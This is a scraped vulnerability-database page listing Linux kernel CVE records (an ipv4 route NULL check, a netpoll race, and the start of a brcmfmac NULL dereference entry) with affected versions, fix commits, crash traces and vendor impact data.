Linux	Linux	Affected: 02b24941619fcce3d280311ac73b1e461552e9c8 , < 7da0f91681c4902bc5c210356fdd963b04d5d1d4 (git) Affected: 02b24941619fcce3d280311ac73b1e461552e9c8 , < 03b5a9b2b526862b21bcc31976e393a6e63785d1 (git) Affected: 02b24941619fcce3d280311ac73b1e461552e9c8 , < 7a25bfd12733a8f38f8ca47c581f876c3d481ac0 (git) Affected: 02b24941619fcce3d280311ac73b1e461552e9c8 , < 8240c7308c941db4d9a0a91b54eca843c616a655 (git) Affected: 02b24941619fcce3d280311ac73b1e461552e9c8 , < c71ea3534ec0936fc57e6fb271c7cc6a2f68c295 (git) Affected: 02b24941619fcce3d280311ac73b1e461552e9c8 , < 58a4c9b1e5a3e53c9148e80b90e1e43897ce77d1 (git)
Linux	Linux	Affected: 5.5 Unaffected: 0 , < 5.5 (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.158 , ≤ 5.15.* (semver) Unaffected: 6.1.90 , ≤ 6.1.* (semver) Unaffected: 6.6.30 , ≤ 6.6.* (semver) Unaffected: 6.8.9 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36008",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T14:05:40.708798Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:47:45.179Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:30:12.519Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7da0f91681c4902bc5c210356fdd963b04d5d1d4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/03b5a9b2b526862b21bcc31976e393a6e63785d1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7a25bfd12733a8f38f8ca47c581f876c3d481ac0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8240c7308c941db4d9a0a91b54eca843c616a655"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c71ea3534ec0936fc57e6fb271c7cc6a2f68c295"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/58a4c9b1e5a3e53c9148e80b90e1e43897ce77d1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:38.481Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/route.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "7da0f91681c4902bc5c210356fdd963b04d5d1d4",
              "status": "affected",
              "version": "02b24941619fcce3d280311ac73b1e461552e9c8",
              "versionType": "git"
            },
            {
              "lessThan": "03b5a9b2b526862b21bcc31976e393a6e63785d1",
              "status": "affected",
              "version": "02b24941619fcce3d280311ac73b1e461552e9c8",
              "versionType": "git"
            },
            {
              "lessThan": "7a25bfd12733a8f38f8ca47c581f876c3d481ac0",
              "status": "affected",
              "version": "02b24941619fcce3d280311ac73b1e461552e9c8",
              "versionType": "git"
            },
            {
              "lessThan": "8240c7308c941db4d9a0a91b54eca843c616a655",
              "status": "affected",
              "version": "02b24941619fcce3d280311ac73b1e461552e9c8",
              "versionType": "git"
            },
            {
              "lessThan": "c71ea3534ec0936fc57e6fb271c7cc6a2f68c295",
              "status": "affected",
              "version": "02b24941619fcce3d280311ac73b1e461552e9c8",
              "versionType": "git"
            },
            {
              "lessThan": "58a4c9b1e5a3e53c9148e80b90e1e43897ce77d1",
              "status": "affected",
              "version": "02b24941619fcce3d280311ac73b1e461552e9c8",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/route.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.5"
            },
            {
              "lessThan": "5.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.158",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.90",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.30",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.158",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.90",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.30",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.9",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: check for NULL idev in ip_route_use_hint()\n\nsyzbot was able to trigger a NULL deref in fib_validate_source()\nin an old tree [1].\n\nIt appears the bug exists in latest trees.\n\nAll calls to __in_dev_get_rcu() must be checked for a NULL result.\n\n[1]\ngeneral protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] SMP KASAN\nKASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\nCPU: 2 PID: 3257 Comm: syz-executor.3 Not tainted 5.10.0-syzkaller #0\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014\n RIP: 0010:fib_validate_source+0xbf/0x15a0 net/ipv4/fib_frontend.c:425\nCode: 18 f2 f2 f2 f2 42 c7 44 20 23 f3 f3 f3 f3 48 89 44 24 78 42 c6 44 20 27 f3 e8 5d 88 48 fc 4c 89 e8 48 c1 e8 03 48 89 44 24 18 \u003c42\u003e 80 3c 20 00 74 08 4c 89 ef e8 d2 15 98 fc 48 89 5c 24 10 41 bf\nRSP: 0018:ffffc900015fee40 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: ffff88800f7a4000 RCX: ffff88800f4f90c0\nRDX: 0000000000000000 RSI: 0000000004001eac RDI: ffff8880160c64c0\nRBP: ffffc900015ff060 R08: 0000000000000000 R09: ffff88800f7a4000\nR10: 0000000000000002 R11: ffff88800f4f90c0 R12: dffffc0000000000\nR13: 0000000000000000 R14: 0000000000000000 R15: ffff88800f7a4000\nFS:  00007f938acfe6c0(0000) GS:ffff888058c00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f938acddd58 CR3: 000000001248e000 CR4: 0000000000352ef0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n  ip_route_use_hint+0x410/0x9b0 net/ipv4/route.c:2231\n  ip_rcv_finish_core+0x2c4/0x1a30 net/ipv4/ip_input.c:327\n  ip_list_rcv_finish net/ipv4/ip_input.c:612 [inline]\n  ip_sublist_rcv+0x3ed/0xe50 net/ipv4/ip_input.c:638\n  ip_list_rcv+0x422/0x470 net/ipv4/ip_input.c:673\n  __netif_receive_skb_list_ptype net/core/dev.c:5572 [inline]\n  __netif_receive_skb_list_core+0x6b1/0x890 net/core/dev.c:5620\n  __netif_receive_skb_list net/core/dev.c:5672 [inline]\n  netif_receive_skb_list_internal+0x9f9/0xdc0 net/core/dev.c:5764\n  netif_receive_skb_list+0x55/0x3e0 net/core/dev.c:5816\n  xdp_recv_frames net/bpf/test_run.c:257 [inline]\n  xdp_test_run_batch net/bpf/test_run.c:335 [inline]\n  bpf_test_run_xdp_live+0x1818/0x1d00 net/bpf/test_run.c:363\n  bpf_prog_test_run_xdp+0x81f/0x1170 net/bpf/test_run.c:1376\n  bpf_prog_test_run+0x349/0x3c0 kernel/bpf/syscall.c:3736\n  __sys_bpf+0x45c/0x710 kernel/bpf/syscall.c:5115\n  __do_sys_bpf kernel/bpf/syscall.c:5201 [inline]\n  __se_sys_bpf kernel/bpf/syscall.c:5199 [inline]\n  __x64_sys_bpf+0x7c/0x90 kernel/bpf/syscall.c:5199"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:15:32.155Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/7da0f91681c4902bc5c210356fdd963b04d5d1d4"
        },
        {
          "url": "https://git.kernel.org/stable/c/03b5a9b2b526862b21bcc31976e393a6e63785d1"
        },
        {
          "url": "https://git.kernel.org/stable/c/7a25bfd12733a8f38f8ca47c581f876c3d481ac0"
        },
        {
          "url": "https://git.kernel.org/stable/c/8240c7308c941db4d9a0a91b54eca843c616a655"
        },
        {
          "url": "https://git.kernel.org/stable/c/c71ea3534ec0936fc57e6fb271c7cc6a2f68c295"
        },
        {
          "url": "https://git.kernel.org/stable/c/58a4c9b1e5a3e53c9148e80b90e1e43897ce77d1"
        }
      ],
      "title": "ipv4: check for NULL idev in ip_route_use_hint()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36008",
    "datePublished": "2024-05-20T09:48:07.596Z",
    "dateReserved": "2024-05-17T13:50:33.152Z",
    "dateUpdated": "2026-05-12T11:53:38.481Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-41005 (GCVE-0-2024-41005)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:44 – Updated: 2026-05-12 11:56

Title

netpoll: Fix race condition in netpoll_owner_active

Summary

In the Linux kernel, the following vulnerability has been resolved: netpoll: Fix race condition in netpoll_owner_active KCSAN detected a race condition in netpoll: BUG: KCSAN: data-race in net_rx_action / netpoll_send_skb write (marked) to 0xffff8881164168b0 of 4 bytes by interrupt on cpu 10: net_rx_action (./include/linux/netpoll.h:90 net/core/dev.c:6712 net/core/dev.c:6822) <snip> read to 0xffff8881164168b0 of 4 bytes by task 1 on cpu 2: netpoll_send_skb (net/core/netpoll.c:319 net/core/netpoll.c:345 net/core/netpoll.c:393) netpoll_send_udp (net/core/netpoll.c:?) <snip> value changed: 0x0000000a -> 0xffffffff This happens because netpoll_owner_active() needs to check if the current CPU is the owner of the lock, touching napi->poll_owner non atomically. The ->poll_owner field contains the current CPU holding the lock. Use an atomic read to check if the poll owner is the current CPU.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/43c0ca793a18578a0…
https://git.kernel.org/stable/c/efd29cd9c7b8369df…
https://git.kernel.org/stable/c/96826b16ef9c6568d…
https://git.kernel.org/stable/c/3f1a155950a1685ff…
https://git.kernel.org/stable/c/a130e7da73ae93afd…
https://git.kernel.org/stable/c/c2e6a872bde9912f1…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 89c4b442b78bdba388337cc746fe63caba85f46c , < 43c0ca793a18578a0f5b305dd77fcf7ed99f1265 (git) Affected: 89c4b442b78bdba388337cc746fe63caba85f46c , < efd29cd9c7b8369dfc7bcb34637e6bf1a188aa8e (git) Affected: 89c4b442b78bdba388337cc746fe63caba85f46c , < 96826b16ef9c6568d31a1f6ceaa266411a46e46c (git) Affected: 89c4b442b78bdba388337cc746fe63caba85f46c , < 3f1a155950a1685ffd0fd7175b3f671da8771f3d (git) Affected: 89c4b442b78bdba388337cc746fe63caba85f46c , < a130e7da73ae93afdb4659842267eec734ffbd57 (git) Affected: 89c4b442b78bdba388337cc746fe63caba85f46c , < c2e6a872bde9912f1a7579639c5ca3adf1003916 (git)
Linux	Linux	Affected: 4.10 Unaffected: 0 , < 4.10 (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.96 , ≤ 6.1.* (semver) Unaffected: 6.6.36 , ≤ 6.6.* (semver) Unaffected: 6.9.7 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:59:08.632Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/43c0ca793a18578a0f5b305dd77fcf7ed99f1265"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/efd29cd9c7b8369dfc7bcb34637e6bf1a188aa8e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/96826b16ef9c6568d31a1f6ceaa266411a46e46c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3f1a155950a1685ffd0fd7175b3f671da8771f3d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a130e7da73ae93afdb4659842267eec734ffbd57"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c2e6a872bde9912f1a7579639c5ca3adf1003916"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-41005",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:01:02.203539Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:18.654Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:11.264Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/core/netpoll.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "43c0ca793a18578a0f5b305dd77fcf7ed99f1265",
              "status": "affected",
              "version": "89c4b442b78bdba388337cc746fe63caba85f46c",
              "versionType": "git"
            },
            {
              "lessThan": "efd29cd9c7b8369dfc7bcb34637e6bf1a188aa8e",
              "status": "affected",
              "version": "89c4b442b78bdba388337cc746fe63caba85f46c",
              "versionType": "git"
            },
            {
              "lessThan": "96826b16ef9c6568d31a1f6ceaa266411a46e46c",
              "status": "affected",
              "version": "89c4b442b78bdba388337cc746fe63caba85f46c",
              "versionType": "git"
            },
            {
              "lessThan": "3f1a155950a1685ffd0fd7175b3f671da8771f3d",
              "status": "affected",
              "version": "89c4b442b78bdba388337cc746fe63caba85f46c",
              "versionType": "git"
            },
            {
              "lessThan": "a130e7da73ae93afdb4659842267eec734ffbd57",
              "status": "affected",
              "version": "89c4b442b78bdba388337cc746fe63caba85f46c",
              "versionType": "git"
            },
            {
              "lessThan": "c2e6a872bde9912f1a7579639c5ca3adf1003916",
              "status": "affected",
              "version": "89c4b442b78bdba388337cc746fe63caba85f46c",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/core/netpoll.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.10"
            },
            {
              "lessThan": "4.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.96",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.36",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.96",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.36",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.7",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetpoll: Fix race condition in netpoll_owner_active\n\nKCSAN detected a race condition in netpoll:\n\n\tBUG: KCSAN: data-race in net_rx_action / netpoll_send_skb\n\twrite (marked) to 0xffff8881164168b0 of 4 bytes by interrupt on cpu 10:\n\tnet_rx_action (./include/linux/netpoll.h:90 net/core/dev.c:6712 net/core/dev.c:6822)\n\u003csnip\u003e\n\tread to 0xffff8881164168b0 of 4 bytes by task 1 on cpu 2:\n\tnetpoll_send_skb (net/core/netpoll.c:319 net/core/netpoll.c:345 net/core/netpoll.c:393)\n\tnetpoll_send_udp (net/core/netpoll.c:?)\n\u003csnip\u003e\n\tvalue changed: 0x0000000a -\u003e 0xffffffff\n\nThis happens because netpoll_owner_active() needs to check if the\ncurrent CPU is the owner of the lock, touching napi-\u003epoll_owner\nnon atomically. The -\u003epoll_owner field contains the current CPU holding\nthe lock.\n\nUse an atomic read to check if the poll owner is the current CPU."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:24:11.330Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/43c0ca793a18578a0f5b305dd77fcf7ed99f1265"
        },
        {
          "url": "https://git.kernel.org/stable/c/efd29cd9c7b8369dfc7bcb34637e6bf1a188aa8e"
        },
        {
          "url": "https://git.kernel.org/stable/c/96826b16ef9c6568d31a1f6ceaa266411a46e46c"
        },
        {
          "url": "https://git.kernel.org/stable/c/3f1a155950a1685ffd0fd7175b3f671da8771f3d"
        },
        {
          "url": "https://git.kernel.org/stable/c/a130e7da73ae93afdb4659842267eec734ffbd57"
        },
        {
          "url": "https://git.kernel.org/stable/c/c2e6a872bde9912f1a7579639c5ca3adf1003916"
        }
      ],
      "title": "netpoll: Fix race condition in netpoll_owner_active",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-41005",
    "datePublished": "2024-07-12T12:44:40.467Z",
    "dateReserved": "2024-07-12T12:17:45.610Z",
    "dateUpdated": "2026-05-12T11:56:11.264Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21744 (GCVE-0-2025-21744)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:12 – Updated: 2026-05-12 12:03

Title

wifi: brcmfmac: fix NULL pointer dereference in brcmf_txfinalize()

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: brcmfmac: fix NULL pointer dereference in brcmf_txfinalize() On removal of the device or unloading of the kernel module a potential NULL pointer dereference occurs. The following sequence deletes the interface: brcmf_detach() brcmf_remove_interface() brcmf_del_if() Inside the brcmf_del_if() function the drvr->if2bss[ifidx] is updated to BRCMF_BSSIDX_INVALID (-1) if the bsscfgidx matches. After brcmf_remove_interface() call the brcmf_proto_detach() function is called providing the following sequence: brcmf_detach() brcmf_proto_detach() brcmf_proto_msgbuf_detach() brcmf_flowring_detach() brcmf_msgbuf_delete_flowring() brcmf_msgbuf_remove_flowring() brcmf_flowring_delete() brcmf_get_ifp() brcmf_txfinalize() Since brcmf_get_ip() can and actually will return NULL in this case the call to brcmf_txfinalize() will result in a NULL pointer dereference inside brcmf_txfinalize() when trying to update ifp->ndev->stats.tx_errors. This will only happen if a flowring still has an skb. Although the NULL pointer dereference has only been seen when trying to update the tx statistic, all other uses of the ifp pointer have been guarded as well with an early return if ifp is NULL.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/2326e19190e176fd7…
https://git.kernel.org/stable/c/59ff4fa653ff6db07…
https://git.kernel.org/stable/c/61541d9b5a23df339…
https://git.kernel.org/stable/c/4e51d6d093e763348…
https://git.kernel.org/stable/c/3877fc67bd3d5566c…
https://git.kernel.org/stable/c/fbbfef2a5b858eab5…
https://git.kernel.org/stable/c/a2beefc4fa49ebc22…
https://git.kernel.org/stable/c/68abd0c4ebf24cd49…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 7f00ee2bbc630900ba16fc2690473f3e2db0e264 , < 2326e19190e176fd72bb542b837a9d2b7fcb8693 (git) Affected: 7f00ee2bbc630900ba16fc2690473f3e2db0e264 , < 59ff4fa653ff6db07c61152516ffba79c2a74bda (git) Affected: 7f00ee2bbc630900ba16fc2690473f3e2db0e264 , < 61541d9b5a23df33934fcc620a3a81f246b1b240 (git) Affected: 7f00ee2bbc630900ba16fc2690473f3e2db0e264 , < 4e51d6d093e763348916e69d06d87e0a5593661b (git) Affected: 7f00ee2bbc630900ba16fc2690473f3e2db0e264 , < 3877fc67bd3d5566cc12763bce39710ceb74a97d (git) Affected: 7f00ee2bbc630900ba16fc2690473f3e2db0e264 , < fbbfef2a5b858eab55741a58b2ac9a0cc8d53c58 (git) Affected: 7f00ee2bbc630900ba16fc2690473f3e2db0e264 , < a2beefc4fa49ebc22e664dc6b39dbd054f8488f9 (git) Affected: 7f00ee2bbc630900ba16fc2690473f3e2db0e264 , < 68abd0c4ebf24cd499841a488b97a6873d5efabb (git) Affected: 6faa698c35a43b9e74ea24e90fe37471d08d00d0 (git) Affected: 9119232cc92a269d7860b4aa51f07d3923a3cc10 (git)
Linux	Linux	Affected: 4.9 Unaffected: 0 , < 4.9 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.78 , ≤ 6.6.* (semver) Unaffected: 6.12.14 , ≤ 6.12.* (semver) Unaffected: 6.13.3 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

